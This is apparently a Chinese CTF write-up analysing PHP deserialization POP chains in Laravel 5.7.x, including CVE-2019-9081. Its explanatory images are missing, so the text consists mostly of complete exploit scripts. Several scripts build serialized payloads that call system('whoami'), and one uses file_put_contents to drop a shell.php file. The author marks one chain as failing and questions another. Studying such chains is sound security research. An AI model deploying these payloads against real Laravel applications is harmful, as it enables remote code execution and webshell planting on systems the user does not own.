图说 Lavavel 5.7.X RCE POP 链
前言 也是这次的第五空间比赛中,出了一道关于Lavavel反序列化链的题目,引发了许多师傅对 Lavavel5.7.x 版本的反序列化链子的思考。 并且这么多链子跟下来,感觉有一个字直接灵魂。 巧 这里防止文章过于冗长,便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。 环境搭建 可以直接利用 composer 安装 html composer create-project lara
前言
也是这次的第五空间比赛中,出了一道关于Lavavel反序列化链的题目,引发了许多师傅对 Lavavel5.7.x 版本的反序列化链子的思考。
并且这么多链子跟下来,感觉有一个字直接灵魂。 巧
这里防止文章过于冗长,便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。
环境搭建
可以直接利用 composer 安装
html composer create-project laravel/laravel laravel57 "5.7.*"
然后利用 artisan 来启动 lavavel 。访问 localhost:8000 即可
php artisan serve --host 0.0.0.0
1.0 CVE-2019-9081
1.1准备工作
首先我们先构造一个反序列化的利用点吧。

编写路由
routes\web.php

1.2 漏洞复现

1.3 POP链分析
这里尽量简短的分析一下这个链子吧。

绕过createABufferedOutputMock之后就回到了mockConsoleOutput函数里面

出了bind也就来到了run方法

这样就进入了Container.php中的call方法。

最后的执行栈图如下

1.4 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput=['Mrkaixin'];
$this->expectedQuestions=['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command='system';
$this->parameters=['whoami'];
$this->test=new EntityPopulator();
$this->app=new Application();
}
}
//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingCommand()));
2.0 巧用Format
2.1 漏洞复现

2.2 POP链分析
如图所示

2.3 exp
<?php
namespace Faker;
class Generator
{
public $formatters;
public function __construct()
{
$this->formatters = ['addCollection'=>"system"];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;
class ImportConfigurator
{
public $route;
public $parent;
public function __construct()
{
// $this->route =["whoami"];
$this->route="whoami";
$this->parent = new Generator();
}
}
echo urlencode(serialize(new ImportConfigurator()));
3.0 一条非常巧的链子
3.1 漏洞复现

3.2 POP链分析

调用栈

3.3 exp
<?php
namespace Illuminate\Database\Eloquent;
class Builder
{
public function __construct()
{
$name = "<?php phpinfo(); ?>";
$this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
$this->$name="shell.php";
}
}
namespace Illuminate\Routing;
use Illuminate\Database\Eloquent\Builder;
class PendingResourceRegistration
{
public $name;
public function __construct()
{
$this->registrar = new Builder();
$this->name = 'file_put_contents';
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
4.0 ”故技重施”
4.1 漏洞复现

4.2 POP链分析
这个链子是在第一条链子被封锁的情况下的第二个办法。利用call_user_func去触发src\Illuminate\Foundation\Testing\PendingCommand.php中的run方法。所以这部分只分析到如何触发run方法。

操作栈

4.3 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput=['Mrkaixin'];
$this->expectedQuestions=['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command='system';
$this->parameters=['whoami'];
$this->test=new EntityPopulator();
$this->app=new Application();
}
}
namespace Symfony\Component\Routing;
class RouteCollection
{
public $routes;
public function __construct()
{
$this->routes =['Mrkaixin is beautiful'];
$this->resources=['Mrkaixin is handsome'];
}
}
namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;
class ValidGenerator
{
public $generator;
public function __construct()
{
$this->generator =new RouteCollection();
$this->validator=[new PendingCommand(),'run'];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\ValidGenerator;
class ImportConfigurator
{
public $parent;
public $route;
public function __construct()
{
$this->parent = new ValidGenerator();
$this->route = ['Mrkaixin'];
}
}
echo urlencode(serialize(new ImportConfigurator()));
5.0 巧妙的"故技重施" X2
5.1 漏洞复现

5.2 POP链分析
这里也是和链子4一样,寻找可以利用的call_user_func去触发src\Illuminate\Foundation\Testing\PendingCommand.php中的run方法。
如图所示

调用栈图如下

5.3 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput = ['Mrkaixin'];
$this->expectedQuestions = ['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand
{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command = 'system';
$this->parameters = ['whoami'];
$this->test = new EntityPopulator();
$this->app = new Application();
}
}
namespace Illuminate\Validation\Rules;
use Illuminate\Foundation\Testing\PendingCommand;
class RequiredIf
{
public function __construct()
{
$this->condition = [new PendingCommand(), 'run'];
}
}
namespace Symfony\Component\Routing;
class RouteCollection
{
public function __construct()
{
$this->routes = [];
}
}
namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;
class Cookie{
public function __construct()
{
$this->path=new RequiredIf();
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;
class CollectionConfigurator
{
public $collection;
public function __construct()
{
$this->collection = new RouteCollection();
$this->route = new Cookie();
}
}
//echo (serialize(new CollectionConfigurator()));
echo urlencode(serialize(new CollectionConfigurator()));
6.0 一条没搞懂的POP链(失败)
6.1 疑惑点
首先还是和链二一样从src\Illuminate\Routing\PendingResourceRegistration.php的register函数进去,

然后这里也是想到了利用call_user_func来rce

然后触发Logger的__call函数。

一开始以为这个地方是可控的,按理说都应该触发的是call_user_func(xxxx)但是这里触发的是某个类的register函数。导致产生错误。

所以这个地方有点没搞懂。也希望师傅们能给点思路 orz。
6.2 报错exp
<?php
namespace Illuminate\Log;
class Logger
{
public $logger;
public $register;
public function __construct()
{
$this->logger = $this;
$this->register='call_user_func';
}
}
namespace Illuminate\Routing;
use Illuminate\Log\Logger;
class PendingResourceRegistration
{
public $name;
public $controller;
public $options;
public function __construct()
{
$this->registrar = new Logger();
$this->name = 'file_put_contents';
$this->controller = 'shell.php';
$this->options = '<?php phpinfo(); ?>';
}
}
//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingResourceRegistration()));
2.0 巧用Format中的 感觉有问题
在laravel5.7.x中 namespace Faker;class Generator;
最底下 295行有wakeup
public function __wakeup()
{
$this->formatters = [];
}
直接用2.3 exp打不通
除非删除wakeup